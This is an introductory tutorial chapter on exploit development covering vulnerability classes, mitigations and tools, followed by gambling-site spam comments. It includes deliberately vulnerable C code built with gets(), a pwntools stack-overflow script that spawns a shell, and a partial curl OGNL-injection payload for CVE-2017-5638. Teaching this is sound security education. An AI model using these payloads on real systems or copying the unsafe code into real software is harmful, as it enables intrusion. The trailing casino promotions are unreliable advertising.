What is Exploit Development?
“Understanding the art of turning bugs into code execution”
Contents
- 1 🎯 Objective
- 2 1.1 What is an Exploit?
- 3 1.2 Exploit vs Payload vs Shellcode
- 4 1.3 Exploitation Workflow
- 5 1.4 Exploitation Goals
- 6 1.5 Exploit Types (By Technique)
- 7 1.6 Real Exploitation Example
- 8 1.7 Common Exploit Development Toolset
- 9 1.8 Architectural Concepts
- 10 1.9 Operating System Security Mechanisms
- 11 1.10 Real-World Exploit Example (CVE)
- 12 1.11 Ethics and Legal Responsibility
- 13 ✅ Summary
🎯 Objective
To build a comprehensive understanding of what exploit development is, its goals, classifications, and how attackers leverage vulnerabilities to hijack program execution. This chapter covers vulnerability classes, real-world scenarios, memory manipulation techniques, and low-level primitives that form the core of exploitation.

1.1 What is an Exploit?
An exploit is a crafted input, payload, or sequence of interactions that takes advantage of a vulnerability in software to achieve unintended behavior, usually with malicious or unauthorized intent.
These behaviors may include:
- Executing arbitrary code
- Reading or writing sensitive memory
- Causing a crash (Denial of Service)
- Escalating privileges
- Bypassing application logic
Example
// vulnerable.c
#include <stdio.h>
int main() {
char buffer[100];
gets(buffer); // vulnerable to buffer overflow
printf("You entered: %s\n", buffer);
return 0;
}
If buffer is overrun, the return address on the stack can be overwritten, causing the program to jump to attacker-controlled code.
1.2 Exploit vs Payload vs Shellcode
| Term | Description |
|---|---|
| Exploit | The method of taking control (e.g., stack buffer overflow, use-after-free) |
| Payload | The action performed once control is gained (e.g., spawn shell, reverse shell) |
| Shellcode | Compact machine code payload, usually to open a shell or call system functions |
1.3 Exploitation Workflow
- Discovery – Identify the vulnerability
- Analysis – Reverse engineer the bug
- Trigger – Create the condition to exploit it
- Control – Gain instruction pointer (IP) control
- Payload Execution – Run arbitrary code or commands
- Post-Exploitation – Escalate privileges, persist, exfiltrate data
1.4 Exploitation Goals
| Goal | Explanation |
|---|---|
| Code Execution | Execute arbitrary shellcode, malware, or system calls |
| Privilege Escalation | Elevate from user → admin/root/system |
| Information Disclosure | Leak memory (e.g., ASLR bypass, passwords) |
| Denial of Service | Crash system/service |
| Persistence | Survive reboots, re-infections |
| Evasion | Avoid AV, EDR, and logging tools |
1.5 Exploit Types (By Technique)
Memory Corruption-Based
- Stack Buffer Overflow
Overwriting return address on the stack. - Heap Overflow
Overwriting heap structures to gain arbitrary write or control flow. - Use-After-Free (UAF)
Using memory after it has been freed; attacker reallocates it with malicious data. - Double Free
Twofree()calls on the same pointer can corrupt heap metadata. - Format String Bug
Using uncontrolled format strings likeprintf(user_input)leads to arbitrary read/write. - Integer Overflow/Underflow
Bypass size checks, leading to incorrect memory allocations.
Logical Vulnerabilities
- Race Conditions
Timing issues in multithreaded environments. - Improper Access Control
Missing authentication or authorization checks. - Insecure Deserialization
Arbitrary object creation from untrusted data.
1.6 Real Exploitation Example
Here’s a simple Linux example of stack-based control hijacking.
vulnerable.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void secret() {
printf("PWNED! Code execution achieved!\n");
system("/bin/sh");
}
void vulnerable() {
char buffer[64];
printf("Enter input: ");
gets(buffer); // unsafe
}
int main() {
vulnerable();
return 0;
}
Compile with protections disabled:
gcc vulnerable.c -o vuln -fno-stack-protector -z execstack -no-pie
Exploitation Steps
- Overflow buffer and overwrite return address
- Redirect execution to
secret() - Shell spawned
You can use Pwntools to automate the attack:
from pwn import *
elf = ELF('./vuln')
p = process(elf.path)
payload = b'A' * 72 # Offset to return address
payload += p64(elf.symbols['secret'])
p.sendlineafter('Enter input: ', payload)
p.interactive()
1.7 Common Exploit Development Toolset
| Tool | Purpose | Link |
|---|---|---|
| GDB | Debugging on Linux | https://www.gnu.org/software/gdb/ |
| Pwndbg | GDB plugin for exploit dev | https://github.com/pwndbg/pwndbg |
| Pwntools | Python framework for writing exploits | https://github.com/Gallopsled/pwntools |
| x64dbg | Windows GUI debugger | https://x64dbg.com/ |
| Immunity Debugger | SEH exploit development | https://www.immunityinc.com/products/debugger/ |
| IDA Pro / Ghidra | Reverse engineering | https://ghidra-sre.org/ |
| ROPgadget | ROP chain finder | https://github.com/JonathanSalwan/ROPgadget |
| Mona.py | ROP + exploit helper for Immunity | https://github.com/corelan/mona |
| Radare2 | Binary analysis CLI tool | https://rada.re/n/ |
| msfvenom | Shellcode & payload generator | https://docs.metasploit.com/ |
1.8 Architectural Concepts
- Registers
- x86:
eax,ebx,esp,ebp,eip - x64:
rax,rbx,rsp,rbp,rip
- x86:
- Calling Conventions
- cdecl (caller cleans up stack)
- stdcall (callee cleans up stack)
- fastcall, sysv, Windows x64 (RCX, RDX, R8, R9)
- Endianness
- Most systems are little-endian (e.g.,
0xdeadbeefstored asef be ad de)
- Most systems are little-endian (e.g.,
1.9 Operating System Security Mechanisms
| Mitigation | Description |
|---|---|
| DEP / NX | Non-executable stack/heap |
| ASLR | Randomized memory layout |
| Stack Cookies | Canary values to detect buffer overflows |
| SEH | Structured Exception Handling (Windows) |
| SMEP / KASLR | Kernel memory protection |
We will cover bypass techniques for these later in:
- Return Oriented Programming (ROP)
- ret2libc
- Shellcode relocation
- Heap grooming
1.10 Real-World Exploit Example (CVE)
CVE-2017-5638 – Apache Struts2 RCE
- Vulnerability: Crafted
Content-Typeheader triggers OGNL injection. - Exploit:
curl -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)...}" \ http://target.com/struts2-showcase/upload.action
Another: CVE-2017-0144 – EternalBlue
- MS SMBv1 vulnerability
- Used in WannaCry ransomware
- Kernel-level remote exploit on Windows XP to Windows 7
1.11 Ethics and Legal Responsibility
Exploit development is highly sensitive and legally restricted when performed outside ethical boundaries.
Use only in:
- Lab environments
- Capture the Flag (CTF) competitions
- Bug bounty programs
- With explicit authorization
Unauthorized access or exploitation is illegal and unethical.
✅ Summary
- An exploit is not just a payload but the entire logic and sequence required to hijack control flow.
- Memory corruption (e.g., buffer overflow, UAF) is a primary class of vulnerabilities.
- The exploitation process involves discovery, analysis, payloading, and post-exploitation steps.
- A good exploit developer is part developer, part reverse engineer, and part OS internals expert.
- Modern defenses like DEP, ASLR, stack cookies require advanced techniques to bypass.
Alright, time to explore something different! This ‘nhà cái vn88 rezence’ seems to be something new for Vietnamese players. I’ll be checking it out at nhà cái vn88 rezence. Hope you find what you are looking for!
Alright guys, 66bhp is where it’s at! Checking it out now. Hope I win big. Good luck to everyone! Check it out here 66bhp
That’s a solid point about responsible gaming! It’s cool to see platforms like lucky play casino club focusing on things like secure accounts & quick deposits (GCash is a lifesaver!). Enjoying the fun, but staying smart is key. 😉